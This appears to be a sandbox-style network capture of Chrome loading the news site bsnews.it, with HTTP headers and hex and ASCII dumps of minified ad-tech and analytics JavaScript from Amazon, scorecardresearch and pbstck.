2b 2b 29 63 3d 27 7b 22 61 64 Data Ascii: var amzn_aps_csm=amzn_aps_csm\|\|{};amzn_aps_csm.errors=[],amzn_aps_csm.reportErrors=function(a){var b,c;for(/^https?:\/\//.test(a)===!1&&(a=document.location.protocol+"//"+a),"/"!==a.substr(a.length-1)&&(a+="/"),b=0;b<amzn_aps_csm.errors.length;b++)c='{"ad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	49972	18.160.10.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	535	OUT	GET /configs/3627 HTTP/1.1 Host: config.aps.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	380	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 531 Connection: close Server: CloudFront Date: Thu, 28 Mar 2024 08:51:18 GMT Cache-Control: max-age=3600 X-Cache: Miss from cloudfront Via: 1.1 05133180bbd1649d4b8f97441bf305e8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P3 X-Amz-Cf-Id: khLWGwqyMCLMbIUJBtbHZKzHlDZZHOqabdwX89Ito2T1mOPbQcqWPA==
2024-03-28 08:51:18 UTC	531	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 74 72 79 20 7b 63 6f 6e 73 74 20 61 63 63 6f 75 6e 74 49 64 20 3d 20 22 33 36 32 37 22 3b 77 69 6e 64 6f 77 2e 5f 61 70 73 20 3d 20 77 69 6e 64 6f 77 2e 5f 61 70 73 20 7c 7c 20 6e 65 77 20 4d 61 70 28 29 3b 69 66 20 28 21 5f 61 70 73 2e 68 61 73 28 61 63 63 6f 75 6e 74 49 64 29 29 20 7b 5f 61 70 73 2e 73 65 74 28 61 63 63 6f 75 6e 74 49 64 2c 20 7b 20 71 75 65 75 65 3a 20 6e 65 77 20 41 72 72 61 79 28 29 2c 20 73 74 6f 72 65 3a 20 6e 65 77 20 4d 61 70 28 29 20 7d 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 72 65 63 6f 72 64 28 6e 61 6d 65 2c 20 64 65 74 61 69 6c 29 20 7b 5f 61 70 73 2e 67 65 74 28 61 63 63 6f 75 6e 74 49 64 29 2e 71 75 65 75 65 2e 70 75 73 68 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 6e 61 6d 65 Data Ascii: (function () {try {const accountId = "3627";window._aps = window._aps \|\| new Map();if (!_aps.has(accountId)) {_aps.set(accountId, { queue: new Array(), store: new Map() });}function record(name, detail) {_aps.get(accountId).queue.push(new CustomEvent(name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	49973	18.238.49.99	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	538	OUT	GET /cs/35874949/beacon.js HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	382	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 28 Mar 2024 08:51:18 GMT Location: /internal-cs/default/beacon.js Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 def26d054ec95b961e8352e3cd4fae7e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: taR-07v-_U44szCmCGkZGMzYyR0qAnN9N58yqNukRB2CuxbQa2wX8w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	49975	104.22.0.93	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	557	OUT	GET /index-monitoring-bbdc39c.js HTTP/1.1 Host: cdn.pbstck.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	711	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:18 GMT Content-Type: application/javascript Content-Length: 187416 Connection: close x-amz-id-2: jsSZOTr2M/QAofwUiW6p21m1HGnNApTGg1udux3TXSBGeuNKGXpb/eyk2nwcET1Vg6j+sqX4W+o= x-amz-request-id: GZ3HHC0FZMA08VX9 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Cache-Control: public, max-age=604800, immutable Last-Modified: Wed, 13 Sep 2023 12:21:10 GMT ETag: "a84705dc4e55d0ff74ca5e1edefba3dd" CF-Cache-Status: HIT Age: 38184 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660a8edbe57ea-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:18 UTC	658	IN	Data Raw: 74 68 69 73 2e 6d 6f 6e 69 74 6f 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 5b 72 5d 29 72 65 74 75 72 6e 20 65 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 65 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 72 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6e 2e 6d 3d 74 2c 6e 2e 63 3d 65 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 6e 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 Data Ascii: this.monitoring=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerab
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 29 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 74 29 6e 2e 64 28 72 2c 6f 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 7d 2e 62 69 6e 64 28 6e 75 6c 6c 2c 6f 29 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6e 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 64 65 66 61 75 6c 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 7d 3b 72 65 74 75 72 6e 20 6e 2e 64 28 65 2c 22 61 22 2c 65 29 2c 65 7d 2c 6e 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 Data Ascii: peof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 65 74 75 72 6e 21 31 7d 7d 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 72 3d 76 28 29 28 74 29 3b 69 66 28 65 29 7b 76 61 72 20 69 3d 76 28 29 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 6e 3d 6f 28 29 28 72 2c 61 72 67 75 6d 65 6e 74 73 2c 69 29 7d 65 6c 73 65 20 6e 3d 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 6c 28 29 28 74 68 69 73 2c 6e 29 7d 7d 76 61 72 20 53 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 64 28 29 28 6e 2c 74 29 3b 76 61 72 20 65 3d 41 28 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e 20 75 28 29 28 74 68 69 73 2c 6e 29 2c 65 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 72 65 74 75 72 6e 20 6e 7d 28 62 28 29 28 45 72 72 6f Data Ascii: eturn!1}}();return function(){var n,r=v()(t);if(e){var i=v()(this).constructor;n=o()(r,arguments,i)}else n=r.apply(this,arguments);return l()(this,n)}}var S=function(t){d()(n,t);var e=A(n);function n(t){return u()(this,n),e.call(this,t)}return n}(b()(Erro
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 28 6e 75 6c 6c 21 3d 6e 3f 6e 3a 49 28 29 28 72 3d 22 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 73 20 74 6f 20 62 65 20 6f 6e 65 20 6f 66 20 27 22 2e 63 6f 6e 63 61 74 28 65 2c 22 27 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 29 29 2e 63 61 6c 6c 28 72 2c 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3b 69 66 28 74 3d 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 53 28 6e 75 6c 6c 21 3d 6e 3f 6e 3a 49 28 29 28 72 3d 22 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 20 74 6f 20 62 65 20 6e 6f 74 20 65 71 75 61 6c 20 74 6f 20 27 22 2e 63 6f 6e 63 61 74 28 65 2c 22 27 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 29 29 2e 63 61 6c 6c 28 72 2c 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 74 2c 65 29 7b 69 66 28 21 74 29 74 68 Data Ascii: (null!=n?n:I()(r="Expected values to be one of '".concat(e,"', but received ")).call(r,t))}function L(t,e,n){var r;if(t===e)throw new S(null!=n?n:I()(r="Expected value to be not equal to '".concat(e,"', but received ")).call(r,t))}function F(t,e){if(!t)th
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 72 7d 2c 61 3d 2f 70 62 73 74 63 6b 3a 64 65 62 75 67 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 73 3d 21 21 28 6e 75 6c 6c 3d 3d 3d 28 72 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 67 65 74 49 74 65 6d 29 26 26 6e 75 6c 6c 21 3d 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 70 62 73 74 63 6b 22 29 2c 75 3d 22 5b 70 62 73 74 63 6b 2d 22 2b 28 6e 75 6c 6c 21 3d 3d 28 6f 3d 22 62 62 64 63 33 39 63 22 29 3f 6f 3a 22 75 6e 6b 6e 6f 77 6e 22 29 2b 22 5d 22 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 61 7c 7c 73 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 Data Ascii: return r},a=/pbstck:debug/.test(window.location.href),s=!!(null===(r=window.localStorage)\|\|void 0===r?void 0:r.getItem)&&null!==window.localStorage.getItem("pbstck"),u="[pbstck-"+(null!==(o="bbdc39c")?o:"unknown")+"]";function c(){return a\|\|s}function d()
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 28 63 2c 6f 2c 7b 7d 29 2c 66 28 63 5b 6f 5d 2c 76 2c 68 29 2c 74 2e 72 65 61 6c 26 26 53 26 26 21 53 5b 76 5d 26 26 66 28 53 2c 76 2c 68 29 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 4d 61 74 68 3d 3d 4d 61 74 68 26 26 74 7d 3b 74 2e 65 78 70 6f 72 74 73 3d 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 29 7c 7c 6e 28 22 6f 62 6a 65 Data Ascii: (c,o,{}),f(c[o],v,h),t.real&&S&&!S[v]&&f(S,v,h)))}},function(t,e,n){(function(e){var n=function(t){return t&&t.Math==Math&&t};t.exports=n("object"==typeof globalThis&&globalThis)\|\|n("object"==typeof window&&window)\|\|n("object"==typeof self&&self)\|\|n("obje
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 72 26 26 72 2e 62 69 6e 64 28 6f 29 3b 74 2e 65 78 70 6f 72 74 73 3d 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 69 28 6f 2c 74 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 2e 61 70 70 6c 79 28 74 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 33 29 2c 6f 3d 6e 28 31 37 29 2c 69 3d 6e 28 39 37 29 2c 61 3d 72 2e 54 79 70 65 45 72 72 6f 72 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6f 28 74 29 29 72 65 74 75 72 6e 20 74 3b 74 68 72 6f 77 20 61 28 69 28 74 29 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 7d 2c 66 75 6e Data Ascii: r&&r.bind(o);t.exports=r?function(t){return t&&i(o,t)}:function(t){return t&&function(){return o.apply(t,arguments)}}},function(t,e,n){var r=n(3),o=n(17),i=n(97),a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},fun
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 26 26 64 2e 77 69 74 68 6f 75 74 53 65 74 74 65 72 7c 7c 61 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 69 28 63 2c 74 29 7c 7c 21 73 26 26 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 63 5b 74 5d 29 7b 76 61 72 20 65 3d 22 53 79 6d 62 6f 6c 2e 22 2b 74 3b 73 26 26 69 28 64 2c 74 29 3f 63 5b 74 5d 3d 64 5b 74 5d 3a 63 5b 74 5d 3d 75 26 26 66 3f 66 28 65 29 3a 6c 28 65 29 7d 72 65 74 75 72 6e 20 63 5b 74 5d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 31 36 29 2c 6f 3d 6e 28 32 39 29 2c 69 3d 6e 28 31 33 32 29 2c 61 3d 6e 28 33 39 29 2e 66 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 72 2e 53 79 6d 62 6f 6c 7c 7c 28 72 2e 53 79 6d 62 6f Data Ascii: &&d.withoutSetter\|\|a;t.exports=function(t){if(!i(c,t)\|\|!s&&"string"!=typeof c[t]){var e="Symbol."+t;s&&i(d,t)?c[t]=d[t]:c[t]=u&&f?f(e):l(e)}return c[t]}},function(t,e,n){var r=n(16),o=n(29),i=n(132),a=n(39).f;t.exports=function(t){var e=r.Symbol\|\|(r.Symbo
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 69 6f 6e 20 45 28 74 2c 65 29 7b 76 61 72 20 6e 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 31 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 3d 22 29 3b 72 65 74 75 72 6e 7b 6b 65 79 3a 6e 5b 30 5d 2c 76 61 6c 75 65 3a 6e 5b 31 5d 7d 7d 72 65 74 75 72 6e 7d 28 74 29 2c 6f 3d 61 28 29 28 6e 3d 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 30 5d 29 2e 63 61 6c 6c 28 6e 2c 22 2f 22 29 3f 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 30 5d 3a 22 2f 22 2b 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 30 5d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 67 65 74 41 64 55 6e 69 74 50 61 74 68 28 29 2e 72 65 70 6c 61 63 65 28 22 2f 2f 22 2c 22 2f 22 29 Data Ascii: ion E(t,e){var n,r=function(t){var e=t.split("?")[1];if(void 0!==e){var n=e.split("=");return{key:n[0],value:n[1]}}return}(t),o=a()(n=t.split("?")[0]).call(n,"/")?t.split("?")[0]:"/"+t.split("?")[0],i=function(t){return t.getAdUnitPath().replace("//","/")
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 74 53 6c 6f 74 45 6c 65 6d 65 6e 74 49 64 28 29 3d 3d 3d 65 7d 29 29 7d 76 61 72 20 55 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 42 28 74 5b 53 5d 29 7d 3b 76 61 72 20 43 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6a 2e 61 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3d 77 28 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4f 62 6a 65 63 74 28 41 2e 64 29 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6f 6f 67 6c 65 74 61 67 20 6f 6e 20 74 68 65 20 70 61 67 65 20 61 66 74 65 72 20 35 20 73 65 63 6f 6e 64 73 22 29 2c 6e 28 29 7d 29 2c 35 65 33 29 3b 21 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 2c 72 2c 6f 29 7b 69 66 28 21 28 6f 3e 3d 35 30 29 29 7b 76 61 72 20 69 3d 42 28 65 5b 53 5d 29 3b 76 6f 69 Data Ascii: tSlotElementId()===e}))}var U=function(t){return B(t[S])};var C=function(t){return new j.a((function(e,n){var r=w()((function(){Object(A.d)("Cannot find googletag on the page after 5 seconds"),n()}),5e3);!function t(e,n,r,o){if(!(o>=50)){var i=B(e[S]);voi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	49974	104.22.0.93	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	554	OUT	GET /index-refresh-bbdc39c.js HTTP/1.1 Host: cdn.pbstck.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	711	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:18 GMT Content-Type: application/javascript Content-Length: 151919 Connection: close x-amz-id-2: cShZgtrmmy6WTZ18C7qP3f7eBHGo7vSUGcGc4anG+WanK6CnQ8w4TXT9Fi1SwEP2XZfKXdcnHws= x-amz-request-id: QYQV2S24NR9FZSH7 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Cache-Control: public, max-age=604800, immutable Last-Modified: Wed, 13 Sep 2023 12:21:10 GMT ETag: "530f4687c9db064d9c81999237c5da8e" CF-Cache-Status: HIT Age: 59491 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660a8ff5a0aa9-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:18 UTC	658	IN	Data Raw: 74 68 69 73 2e 72 65 66 72 65 73 68 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 5b 72 5d 29 72 65 74 75 72 6e 20 65 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 65 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 72 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6e 2e 6d 3d 74 2c 6e 2e 63 3d 65 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 6e 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a Data Ascii: this.refresh=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 66 20 74 29 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 74 29 6e 2e 64 28 72 2c 6f 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 7d 2e 62 69 6e 64 28 6e 75 6c 6c 2c 6f 29 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6e 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 64 65 66 61 75 6c 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 7d 3b 72 65 74 75 72 6e 20 6e 2e 64 28 65 2c 22 61 22 2c 65 29 2c 65 7d 2c 6e 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c Data Ascii: f t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 72 6e 21 31 7d 7d 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 72 3d 76 28 29 28 74 29 3b 69 66 28 65 29 7b 76 61 72 20 69 3d 76 28 29 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 6e 3d 6f 28 29 28 72 2c 61 72 67 75 6d 65 6e 74 73 2c 69 29 7d 65 6c 73 65 20 6e 3d 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 64 28 29 28 74 68 69 73 2c 6e 29 7d 7d 76 61 72 20 45 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 28 29 28 6e 2c 74 29 3b 76 61 72 20 65 3d 53 28 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e 20 73 28 29 28 74 68 69 73 2c 6e 29 2c 65 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 72 65 74 75 72 6e 20 6e 7d 28 62 28 29 28 45 72 72 6f 72 29 29 Data Ascii: rn!1}}();return function(){var n,r=v()(t);if(e){var i=v()(this).constructor;n=o()(r,arguments,i)}else n=r.apply(this,arguments);return d()(this,n)}}var E=function(t){f()(n,t);var e=S(n);function n(t){return s()(this,n),e.call(this,t)}return n}(b()(Error))
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 6c 6c 21 3d 6e 3f 6e 3a 78 28 29 28 72 3d 22 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 73 20 74 6f 20 62 65 20 6f 6e 65 20 6f 66 20 27 22 2e 63 6f 6e 63 61 74 28 65 2c 22 27 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 29 29 2e 63 61 6c 6c 28 72 2c 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3b 69 66 28 74 3d 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 45 28 6e 75 6c 6c 21 3d 6e 3f 6e 3a 78 28 29 28 72 3d 22 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 20 74 6f 20 62 65 20 6e 6f 74 20 65 71 75 61 6c 20 74 6f 20 27 22 2e 63 6f 6e 63 61 74 28 65 2c 22 27 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 29 29 2e 63 61 6c 6c 28 72 2c 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 29 7b 69 66 28 21 74 29 74 68 72 6f 77 Data Ascii: ll!=n?n:x()(r="Expected values to be one of '".concat(e,"', but received ")).call(r,t))}function z(t,e,n){var r;if(t===e)throw new E(null!=n?n:x()(r="Expected value to be not equal to '".concat(e,"', but received ")).call(r,t))}function D(t,e){if(!t)throw
